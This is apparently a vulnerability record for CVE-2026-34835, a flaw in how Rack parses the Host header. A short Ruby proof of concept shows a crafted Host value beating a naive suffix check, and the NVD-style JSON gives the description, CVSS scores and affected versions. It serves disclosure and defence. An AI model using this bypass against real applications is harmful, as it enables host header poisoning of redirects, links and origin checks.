CVE-2026-34835

# Ruby POC demonstrating the bypass logic require 'rack' # Simulated vulnerable application logic app = lambda do |env| req = Rack::Request.new(env) # Application checks if host ends with 'trusted-domain.com' # This logic is vulnerable because req.host includes the @user part if req.host.end_with?('trusted-domain.com') [200, {"Content-Type" => "text/plain"}, ["Host accepted: #{req.host}"]] else [403, {"Content-Type" => "text/plain"}, ["Forbidden: Invalid Host"]] end end # Malicious Host Header exploiting the regex flaw # Using '@' to trick the suffix check malicious_env = { "HTTP_HOST" => "[email protected]", "PATH_INFO" => "/", "REQUEST_METHOD" => "GET" } status, headers, body = app.call(malicious_env) puts "Response Status: #{status}" puts "Response Body: #{body.first}"

{"cve": {"id": "CVE-2026-34835", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:33.967", "lastModified": "2026-04-03T19:32:26.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rack is a modular Ruby web server interface. From versions 3.0.0.beta1 to before 3.1.21, and 3.2.0 to before 3.2.6, Rack::Request parses the Host header using an AUTHORITY regular expression that accepts characters not permitted in RFC-compliant hostnames, including /, ?, #, and @. Because req.host returns the full parsed value, applications that validate hosts using naive prefix or suffix checks can be bypassed. This can lead to host header poisoning in applications that use req.host, req.url, or req.base_url for link generation, redirects, or origin validation. This issue has been patched in versions 3.1.21 and 3.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1286"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.1.21", "matchCriteriaId": "6948AAA6-873D-46BA-AA22-4C81138128E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.6", "matchCriteriaId": "3FB592AD-E826-49BE-AC6D-E5F55FDCC96E"}]}]}], "references": [{"url": "https://github.com/rack/rack/security/advisories/GHSA-g2pf-xv49-m2h5", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit", "Mitigation"]}]}}